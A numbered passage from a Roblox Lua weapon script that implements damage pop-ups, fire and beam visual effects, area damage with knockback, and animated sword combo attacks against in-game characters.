  8012. bill.StudsOffset = Vector3.new(OffsetX,OffsetY,OffsetZ)
  8013. bill.Parent = hit.Parent
  8014. bill.Name = "DamageSplat"
  8015. local tex = Instance.new("TextLabel")
  8016. tex.Size = UDim2.new(5,0,2.5,0)
  8017. tex.Parent = bill
  8018. tex.Text = dmg
  8019. tex.BackgroundTransparency = 1
  8020. tex.ZIndex = 4
  8021. tex.FontSize = "Size24"
  8022. local tex2 = Instance.new("ImageLabel")
  8023. tex2.Size = UDim2.new(1,0,1,0)
  8024. tex2.Parent = tex
  8025. tex2.BackgroundTransparency = 1
  8026. tex2.Image = "http://www.roblox.com/asset/?id=42611276"
  8027. if critornot == true then
  8028. tex.TextColor3 = Color3.new(1,0.2,0.2)
  8029. elseif critornot == false then
  8030. tex.TextColor3 = Color3.new(0,0,0)
  8031. end
  8032. if healornot == true then
  8033. tex.TextColor3 = Color3.new(0.2,0.5,0.5)
  8034. end
  8035. coroutine.resume(coroutine.create(function()
  8036. wait(0.25)
  8037. for i = 0 , 1 , 0.075 do
  8038. wait()
  8039. bill.StudsOffset = Vector3.new(OffsetX,OffsetY+5*i,OffsetZ)
  8040. tex.TextTransparency = 1*i
  8041. end
  8042. bill.Parent = nil
  8043. end))
  8044. end
  8045. function FireEff(Part,Time,Color1,Color2,Color3)
  8046. local Firee = Part
  8047. local Spawn = Part
  8048. local colors = {}
  8049. if Color1 ~= nil then
  8050. table.insert(colors,BrickColor.new(Color1))
  8051. end
  8052. if Color2 ~= nil then
  8053. table.insert(colors,BrickColor.new(Color2))
  8054. end
  8055. if Color3 ~= nil then
  8056. table.insert(colors,BrickColor.new(Color3))
  8057. end
  8058. if Color4 ~= nil then
  8059. table.insert(colors,BrickColor.new(Color4))
  8060. end
  8061. local Embers = {}
  8062. local modelz = Instance.new("Model",Firee)
  8063. modelz.Name = "FireHolder"
  8064. for X = 1, 3 do
  8065. local f = Instance.new("Part")
  8066. f.Parent = nil
  8067. f.BrickColor = colors[math.random(1, # colors)]
  8068. f.Size = Vector3.new(1,1,1)
  8069. f.formFactor = 1
  8070. f.Anchored = true
  8071. f.Locked = true
  8072. f.CanCollide = false
  8073. f.Transparency = 0.5
  8074. f.Name = "Fire"
  8075. f.TopSurface = 0
  8076. f.BottomSurface = 0
  8077. table.insert(Embers, f)
  8078. end
  8079. local R = 0
  8080. coroutine.resume(coroutine.create(function ()
  8081. repeat
  8082. wait()
  8083. R = R + 1
  8084. for X = 1, # Embers do
  8085. Embers[X].Parent = modelz
  8086. local FM = math.fmod(R + X, # Embers)
  8087. if FM == 1 then
  8088. RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10)
  8089. RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100))
  8090. Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, Spawn.Position + RandPos + RandDir)
  8091. else
  8092. Embers[X].CFrame = CFrame.new(Embers[X].Position + Vector3.new(0,0.5,0), Embers[X].Position + Vector3.new(0,0.5,0) + Embers[X].CFrame.lookVector)
  8093. end
  8094. end
  8095. until R == Time
  8096. for i = 0 ,1 , 0.1 do
  8097. wait(0.2)
  8098. for X = 1, # Embers do
  8099. Embers[X].Transparency = 0.5+0.5*i
  8100. end
  8101. end
  8102. for X = 1, # Embers do
  8103. Embers[X].Parent = nil
  8104. end
  8105. end))
  8106. end
  8107.  
  8108. function OT(hit) --Normal Damage
  8109. if Hitdeb == 1 then return end
  8110. if hit.Parent == nil then return end
  8111. local hum = hit.Parent:findFirstChild("Humanoid")
  8112. if hum ~= nil and hum ~= Character.Humanoid then
  8113. local critrandomizer = math.random(1,crtrate)
  8114. if critrandomizer ~= 1 then
  8115. local rndmdamage = math.random(mindamage,maxdamage)
  8116. damagesplat(rndmdamage,hit,false)
  8117. hum:TakeDamage(rndmdamage)
  8118. elseif critrandomizer == 1 then
  8119. local rndmdamage = math.random(maxdamage,crtmaxdamage)
  8120. damagesplat(rndmdamage,hit,true)
  8121. hum:TakeDamage(rndmdamage)
  8122. end
  8123. Hitdeb = 1
  8124. end
  8125. end
  8126.  
  8127. function OTND(part) --No Debounce Damage
  8128. coroutine.resume(coroutine.create(function()
  8129. local dd = false
  8130. while part.Parent ~= nil and not dd do
  8131. wait()
  8132. local c = game.Workspace:GetChildren();
  8133. for i = 1, #c do
  8134. local hum = c[i]:findFirstChild("Humanoid")
  8135. if hum ~= nil and hum.Health ~= 0 then
  8136. local head = c[i]:findFirstChild("Torso");
  8137. if head ~= nil then
  8138. local targ = head.Position - part.Position; ------------------------------------------------Local
  8139. local mag = targ.magnitude;
  8140. if mag <= 5 and c[i].Name ~= Player.Name then
  8141. dd = true
  8142. local rndmdamage = math.random(1,7+5*math.random()) + fireboost
  8143. damagesplat(rndmdamage,head,false)
  8144. hum:TakeDamage(rndmdamage)
  8145. FireEff(head,150,"Bright red","Bright orange","Cool yellow")
  8146. part.Parent = nil
  8147.  
  8148. end
  8149. end
  8150. end
  8151. end
  8152. end
  8153. end))
  8154. end
  8155.  
  8156. function AoE(p,magnitude,damage,critornot)
  8157. local c = game.Workspace:GetChildren();
  8158. for i = 1, #c do
  8159. local hum = c[i]:findFirstChild("Humanoid")
  8160. if hum ~= nil and hum.Health ~= 0 then
  8161. local head = c[i]:findFirstChild("Head");
  8162. if head ~= nil then
  8163. local targ = head.Position - p;
  8164. local mag = targ.magnitude;
  8165. if mag <= magnitude and c[i].Name ~= Character.Name then
  8166. local foundd = false
  8167. for ii = 1 , #AoETrue do
  8168. if AoETrue[ii] == c[i].Name then
  8169. --delay(1,function() table.remove(AoETrue,ii) end)
  8170. --blast(2.5,0.5,"Bright red",prt2,false)
  8171. foundd = true
  8172. end
  8173. end
  8174. if foundd then
  8175. end
  8176. --
  8177. if not foundd then
  8178. hum:TakeDamage(damage)
  8179. damagesplat(damage,head,critornot)
  8180. table.insert(AoETrue,c[i].Name)
  8181. --blast(2.5,0.5,"Bright red",prt2)
  8182. end
  8183. end
  8184. end
  8185. end
  8186. end
  8187. end
  8188. function AoEP(p,magnitude,damage,critornot)
  8189. local c = game.Workspace:GetChildren();
  8190. for i = 1, #c do
  8191. local hum = c[i]:findFirstChild("Humanoid")
  8192. if hum ~= nil and hum.Health ~= 0 then
  8193. local head = c[i]:findFirstChild("Head");
  8194. if head ~= nil then
  8195. local targ = head.Position - p;
  8196. local mag = targ.magnitude;
  8197. if mag <= magnitude and c[i].Name ~= Character.Name then
  8198. local foundd = false
  8199. for ii = 1 , #AoETrue do
  8200. if AoETrue[ii] == c[i].Name then
  8201. --delay(1,function() table.remove(AoETrue,ii) end)
  8202. --blast(2.5,0.5,"Bright red",prt2,false)
  8203. foundd = true
  8204. end
  8205. end
  8206. if foundd then
  8207. end
  8208. --
  8209. if not foundd then
  8210. hum:TakeDamage(damage)
  8211. damagesplat(damage,head,critornot)
  8212. c[i].Humanoid.Sit = true
  8213. coroutine.resume(coroutine.create(function()
  8214. local bp = Instance.new("BodyVelocity",c[i].Torso)
  8215. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  8216. bp.P = bp.P*2
  8217. bp.velocity = CFrame.new(c[i].Torso.Position , p).lookVector * 150 + Vector3.new(0,25,0)
  8218. coroutine.resume(coroutine.create(function()
  8219. for i=1,
  8220. bp.velocity.y/3 do
  8221. bp.velocity = bp.velocity+Vector3.new(0,-4.25,0)
  8222. wait()
  8223. end
  8224. bp.Parent = nil
  8225. end))
  8226. c[i].Torso.RotVelocity = CFrame.new(c[i].Torso.Position , p).lookVector * 25
  8227. wait(0.4) c[i].Humanoid.Sit = false end))
  8228. table.insert(AoETrue,c[i].Name)
  8229. end
  8230. end
  8231. end
  8232. end
  8233. end
  8234. end
  8235. --
  8236.  
  8237. local LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8238. function effect(Color,Ref,LP,P1,returnn)
  8239. local effectsmsh = Instance.new("BlockMesh")
  8240. effectsmsh.Scale = Vector3.new(0.5,1,0.5)
  8241. effectsmsh.Name = "Mesh"
  8242. local effectsg = Instance.new("Part")
  8243. effectsg.formFactor = 3
  8244. effectsg.CanCollide = false
  8245. effectsg.Name = "Eff"
  8246. effectsg.Locked = true
  8247. effectsg.Anchored = true
  8248. effectsg.Size = Vector3.new(0.2,1,0.2)
  8249. effectsg.Parent = swordholder
  8250. effectsmsh.Parent = effectsg
  8251. effectsg.BrickColor = BrickColor.new(Color)
  8252. effectsg.Reflectance = Ref
  8253. local point1 = P1
  8254. local mg = (LP.p - point1.p).magnitude
  8255. effectsg.Size = Vector3.new(0.2,mg,0.2)
  8256. effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0)
  8257. if returnn then return effectsg end
  8258. coroutine.resume(coroutine.create(function()
  8259. if not returnn then
  8260. for i = 0 , 1 , 0.1 do
  8261. wait()
  8262. effectsg.Transparency = 1*i
  8263. end
  8264. wait()
  8265. effectsg.Parent = nil
  8266. end
  8267. end))
  8268. end
  8269.  
  8270. con = nil
  8271. function dmgcnnct(p)
  8272. con = p.Touched:connect(OT)
  8273. end
  8274. function dmgdc()
  8275. if con ~= nil then
  8276. con:disconnect()
  8277. Hitdeb = 0
  8278. end
  8279. end
  8280. function atktype(s,e)
  8281. coroutine.resume(coroutine.create(function ()
  8282. attacktype = e
  8283. wait(0.5)
  8284. repeat wait() until attack
  8285. attacktype = s
  8286. end))
  8287. end
  8288.  
  8289. hold = false
  8290. function Combo1a()
  8291. attack=true
  8292. for i = 0 , 1 , 0.1 do
  8293. wait()
  8294. RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+45*i))
  8295. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(10*i), math.rad(0))
  8296. LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45+45*i),math.rad(45-20*i))
  8297. end
  8298. dmgcnnct(hitbox)
  8299. ss(Head,1.5)
  8300. for i = 0 , 1 , 0.2 do
  8301. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8302. wait()
  8303. RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8304. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10+35*i), math.rad(0))
  8305. LW.C0 = CFrame.new(-1+1*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(25+65*i))
  8306. effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8307. end
  8308. dmgdc()
  8309. for i = 0 , 1 , 0.2 do
  8310. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8311. wait()
  8312. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8313. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(45+5*i), math.rad(0))
  8314. LW.C0 = CFrame.new(-0.25*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(90+10*i))
  8315. effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8316. end
  8317. attacktype = 2
  8318. coroutine.resume(coroutine.create(function ()
  8319. wait(0.25)
  8320. attacktype = 1
  8321. end))
  8322. attack=false
  8323. wait(0.15)
  8324. wait()
  8325. for i = 0 , 1 , 0.1 do
  8326. if not attack then
  8327. wait()
  8328. RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i))
  8329. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-110*i), math.rad(50-50*i), math.rad(0))
  8330. LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(100-55*i))
  8331. end
  8332. end
  8333.  
  8334. end
  8335. function Combo1b()
  8336. attack=true
  8337. for i = 0 , 1 , 0.1 do
  8338. wait()
  8339. RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8340. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-155*i), math.rad(50-40*i), math.rad(0))
  8341. LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(100-50*i))
  8342. end
  8343.  
  8344. cs(Head,1.5)
  8345. local tempmod = Instance.new("Model",swordholder)
  8346. for l = 1 , 20 do
  8347. local meshz = Instance.new("SpecialMesh")
  8348. meshz.Scale = Vector3.new(0.5,0.5,0.5)
  8349. meshz.MeshType = "Sphere"
  8350. local shellz = Instance.new("Part")
  8351. meshz.Parent = shellz
  8352. shellz.Anchored = false
  8353. shellz.formFactor = 0
  8354. shellz.Size = Vector3.new(1,1,1)
  8355. shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
  8356. shellz.Parent = tempmod
  8357. shellz.Transparency = 0.5
  8358. shellz.BrickColor = BrickColor.new("Bright violet")
  8359. shellz.CanCollide = false
  8360. shellz.Reflectance = 0.25
  8361. local bv = Instance.new("BodyPosition")
  8362. bv.Parent = shellz
  8363. bv.maxForce = Vector3.new(200000,200000,200000)
  8364. bv.position = shellz.Position
  8365. coroutine.resume(coroutine.create(function()
  8366. for i = 0 , 1 , 0.025 do
  8367. wait()
  8368. shellz.Transparency = 1-1*i
  8369. end
  8370. shellz.Transparency = 0
  8371. end))
  8372. coroutine.resume(coroutine.create(function()
  8373. wait(0.05)
  8374. bv.position = hitbox.Position
  8375. for i = 1 , 20 do
  8376. wait(0.1)
  8377. bv.position = shell.Position
  8378. end
  8379. shellz.Parent = nil
  8380. end))
  8381. wait(0.01)
  8382. end
  8383. coroutine.resume(coroutine.create(function ()
  8384. wait(0.25)
  8385. tempmod.Parent = nil
  8386. end))
  8387. for i = 0 , 1 , 0.2 do
  8388. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8389. wait()
  8390. RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8391. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10), math.rad(0))
  8392. LW.C0 = CFrame.new(-1+1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(50+40*i))
  8393. effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8394. end
  8395. local gyro = Instance.new("BodyGyro")
  8396. gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  8397. gyro.P = gyro.P + 10000
  8398. local CF = Torso.CFrame
  8399. gyro.cframe = CF
  8400. gyro.Parent = Torso
  8401. dmgcnnct(hitbox)
  8402. ss(Head,1)
  8403. for i = 0 , 1 , 0.1 do
  8404. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8405. wait()
  8406. gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0)
  8407. effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8408. end
  8409. ss(Head,1)
  8410. Hitdeb = 0
  8411. for i = 0 , 1 , 0.1 do
  8412. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8413. wait()
  8414. gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0)
  8415. effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8416. end
  8417. dmgdc()
  8418. attacktype = 3
  8419. coroutine.resume(coroutine.create(function ()
  8420. wait(0.5)
  8421. attacktype = 1
  8422. end))
  8423. wait(0.15)
  8424. wait()
  8425. gyro.Parent = nil
  8426. attack=false
  8427. for i = 0 , 1 , 0.1 do
  8428. if not attack then
  8429. wait()
  8430. RW.C0 = CFrame.new(0.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i))
  8431. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0))
  8432. LW.C0 = CFrame.new(0.5-1.5*i,0.5,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(50-5*i))
  8433. end
  8434. end
  8435. end
  8436.  
  8437. function Combo1c()
  8438. attack=true
  8439. local bp = Instance.new("BodyPosition")
  8440. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  8441. bp.P = bp.P + 10000
  8442. local CF = Torso.CFrame
  8443. bp.position = CF.p
  8444. bp.Parent = Torso
  8445. RWLFunc()
  8446. LWLFunc()
  8447. for zz = 1 , 2 do
  8448. local mesh = Instance.new("SpecialMesh")
  8449. mesh.MeshType = "FileMesh"
  8450. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  8451. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
  8452. local shell = Instance.new("Part")
  8453. mesh.Parent = shell
  8454. shell.Anchored = true
  8455. shell.formFactor = 1
  8456. shell.Size = Vector3.new(1,1,1)
  8457. shell.CFrame = Torso.CFrame * CFrame.Angles(0,0.5*zz,0) + Vector3.new(0,-2.5,0) -- + shellspawn.CFrame.lookVector * 2
  8458. shell.Parent = swordholder
  8459. shell.Transparency = 0
  8460. shell.BrickColor = BrickColor.new("White")
  8461. shell.CanCollide = false
  8462. coroutine.resume(coroutine.create(function()
  8463. for i = 0 , 1 , 0.05 do
  8464. wait()
  8465. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i)
  8466. shell.Transparency = 1*i
  8467. end
  8468. shell.Transparency = 1
  8469. shell.Parent = nil
  8470. end))
  8471. end
  8472. for i = 0 , 1 , 0.1 do
  8473. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8474. wait()
  8475. RW.C0 = CFrame.new(0.5+0.5*i,0.5+1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i), math.rad(90-90*i), math.rad(-45*i))
  8476. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0))
  8477. LW.C0 = CFrame.new(0.5-1.5*i,0.5+1*i,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i),math.rad(0),math.rad(50-5*i))
  8478. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  8479. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
  8480. bp.position = CF.p + Vector3.new(0,10,0)
  8481. RWL.C0 = CFrame.new(1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0))
  8482. LWL.C0 = CFrame.new(-1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0))
  8483. prt8.Transparency = 1-1*i
  8484. effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8485. end
  8486. cs(Head,1.5)
  8487. coroutine.resume(coroutine.create(function ()
  8488. local tempmod = Instance.new("Model",swordholder)
  8489. for l = 1 , 20 do
  8490. local meshz = Instance.new("SpecialMesh")
  8491. meshz.Scale = Vector3.new(1.5,1.5,1.5)
  8492. meshz.MeshType = "Sphere"
  8493. local shellz = Instance.new("Part")
  8494. meshz.Parent = shellz
  8495. shellz.Anchored = false
  8496. shellz.formFactor = 0
  8497. shellz.Size = Vector3.new(1,1,1)
  8498. shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-15,15),math.random(-15,15),math.random(-15,15))
  8499. shellz.Parent = tempmod
  8500. shellz.Transparency = 0.5
  8501. shellz.BrickColor = BrickColor.new("Really black")
  8502. shellz.CanCollide = false
  8503. shellz.Reflectance = 0
  8504. local bv = Instance.new("BodyPosition")
  8505. bv.Parent = shellz
  8506. bv.maxForce = Vector3.new(200000,200000,200000)
  8507. bv.position = shellz.Position
  8508. local hx = false
  8509. coroutine.resume(coroutine.create(function()
  8510. for i = 0 , 1 , 0.05 do
  8511. wait()
  8512. shellz.Transparency = 1-1*i
  8513. end
  8514. shellz.Transparency = 0
  8515. end))
  8516. coroutine.resume(coroutine.create(function()
  8517. wait(0.05)
  8518. bv.position = hitbox.Position
  8519. for i = 1 , 20 do
  8520. wait(0.1)
  8521. bv.position = shell.Position
  8522. end
  8523. shellz.Parent = nil
  8524. end))
  8525. wait(0.01)
  8526. end
  8527. coroutine.resume(coroutine.create(function ()
  8528. repeat wait() until hx
  8529. tempmod.Parent = nil
  8530. end))
  8531. end))
  8532. for i = 0 , 1 , 0.1 do
  8533. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8534. wait()
  8535. RW.C0 = CFrame.new(1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i), math.rad(0), math.rad(-45))
  8536. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8537. LW.C0 = CFrame.new(-1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i),math.rad(0),math.rad(45))
  8538. effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8539. end
  8540. for i = 0 , 1 , 0.1 do
  8541. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8542. wait()
  8543. RW.C0 = CFrame.new(1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i), math.rad(0), math.rad(-45))
  8544. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8545. LW.C0 = CFrame.new(-1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i),math.rad(0),math.rad(45))
  8546. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  8547. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(45)) * CFrame.new(0, 0, 0.2)
  8548. bp.position = CF.p + CF.lookVector * 2.5 + Vector3.new(0,-1,0)
  8549. RWL.C0 = CFrame.new(1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0))
  8550. LWL.C0 = CFrame.new(-1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0))
  8551. effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8552. end
  8553. hx = true
  8554. wait(0.1)
  8555. local Hit,A, B = Raycast(hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 1 ,hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 101 ,100)
  8556. local effectsmsh = Instance.new("CylinderMesh")
  8557. effectsmsh.Scale = Vector3.new(1,1,1)
  8558. local effectsg = Instance.new("Part")
  8559. effectsg.formFactor = 3
  8560. effectsg.CanCollide = false
  8561. effectsg.Name = "LAZOR"
  8562. effectsg.Locked = true
  8563. effectsg.Anchored = true
  8564. effectsg.Parent = swordholder
  8565. effectsmsh.Parent = effectsg
  8566. effectsg.BrickColor = BrickColor.new("Black")
  8567. effectsg.Reflectance = 0.5
  8568. local point1 = B
  8569. local point0 = A
  8570. for zz = 1 , 5 do
  8571. local mesh = Instance.new("SpecialMesh")
  8572. mesh.MeshType = "FileMesh"
  8573. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  8574. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
  8575. local shell = Instance.new("Part")
  8576. mesh.Parent = shell
  8577. shell.Anchored = true
  8578. shell.formFactor = 1
  8579. shell.Size = Vector3.new(1,1,1)
  8580. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 2
  8581. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0.5*zz,0)
  8582. shell.Parent = swordholder
  8583. shell.Transparency = 0
  8584. if math.fmod(zz,2) == 0 then
  8585. shell.BrickColor = BrickColor.new("Really black")
  8586. else
  8587. shell.BrickColor = BrickColor.new("Bright violet")
  8588. end
  8589. shell.CanCollide = false
  8590. coroutine.resume(coroutine.create(function()
  8591. for i = 0 , 1 , 0.01 do
  8592. wait()
  8593. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i)
  8594. shell.Transparency = 1*i
  8595. end
  8596. shell.Transparency = 1
  8597. shell.Parent = nil
  8598. end))
  8599. end
  8600. for zz = 1 , 1 do
  8601. local mesh = Instance.new("SpecialMesh")
  8602. mesh.MeshType = "Sphere"
  8603. mesh.Scale = Vector3.new(20,15,10) * Vector3.new(0.01,0.01,0.01)
  8604. local shell = Instance.new("Part")
  8605. mesh.Parent = shell
  8606. shell.Anchored = true
  8607. shell.formFactor = 1
  8608. shell.Size = Vector3.new(1,1,1)
  8609. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 10
  8610. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0)
  8611. shell.Parent = swordholder
  8612. shell.Transparency = 0
  8613. shell.BrickColor = BrickColor.new("Bright violet")
  8614. shell.CanCollide = false
  8615. coroutine.resume(coroutine.create(function()
  8616. for i = 0 , 1 , 0.02 do
  8617. wait()
  8618. mesh.Scale = Vector3.new(10,15,15) * Vector3.new(i,1,i)
  8619. shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0)
  8620. shell.Transparency = 1-1*i
  8621. end
  8622. for i = 0 , 1 , 0.05 do
  8623. wait()
  8624. shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0)
  8625. shell.Transparency = 1*i
  8626. end
  8627. shell.Transparency = 1
  8628. shell.Parent = nil
  8629. end))
  8630. end
  8631. for zz = 1 , 1 do
  8632. local mesh = Instance.new("CylinderMesh")
  8633. mesh.Scale = Vector3.new(20,0.5,10) * Vector3.new(0.01,0.01,0.01)
  8634. local shell = Instance.new("Part")
  8635. mesh.Parent = shell
  8636. shell.Anchored = true
  8637. shell.formFactor = 1
  8638. shell.Size = Vector3.new(1,1,1)
  8639. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * -0.5
  8640. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0)
  8641. shell.Parent = swordholder
  8642. shell.Transparency = 0
  8643. shell.BrickColor = BrickColor.new("Bright violet")
  8644. shell.CanCollide = false
  8645. coroutine.resume(coroutine.create(function()
  8646. for i = 0 , 1 , 0.02 do
  8647. wait()
  8648. mesh.Scale = Vector3.new(20,0.5,20) * Vector3.new(i,1,i)
  8649. shell.Transparency = 1-1*i
  8650. end
  8651. for i = 0 , 1 , 0.02 do
  8652. wait()
  8653. shell.Transparency = 1*i
  8654. end
  8655. shell.Transparency = 1
  8656. shell.Parent = nil
  8657. end))
  8658. end
  8659. for zz = 1 , 10 do
  8660. local mesh = Instance.new("SpecialMesh")
  8661. mesh.MeshType = "FileMesh"
  8662. mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
  8663. mesh.Scale = Vector3.new(5,5,5) * Vector3.new(0.01,0.01,0.01)
  8664. local shell = Instance.new("Part")
  8665. mesh.Parent = shell
  8666. shell.Anchored = true
  8667. shell.formFactor = 1
  8668. shell.Size = Vector3.new(1,1,1)
  8669. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)
  8670. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90)+2*math.random(),2*math.random(),2*math.random())
  8671. shell.Parent = swordholder
  8672. shell.Transparency = 0
  8673. if math.fmod(zz,2) == 0 then
  8674. shell.BrickColor = BrickColor.new("Really black")
  8675. else
  8676. shell.BrickColor = BrickColor.new("Bright violet")
  8677. end
  8678. shell.CanCollide = false
  8679. coroutine.resume(coroutine.create(function()
  8680. for i = 0 , 1 , 0.01 do
  8681. wait()
  8682. mesh.Scale = Vector3.new(25,25,25) * Vector3.new(i,i,i)
  8683. shell.Transparency = 1*i
  8684. end
  8685. shell.Transparency = 1
  8686. shell.Parent = nil
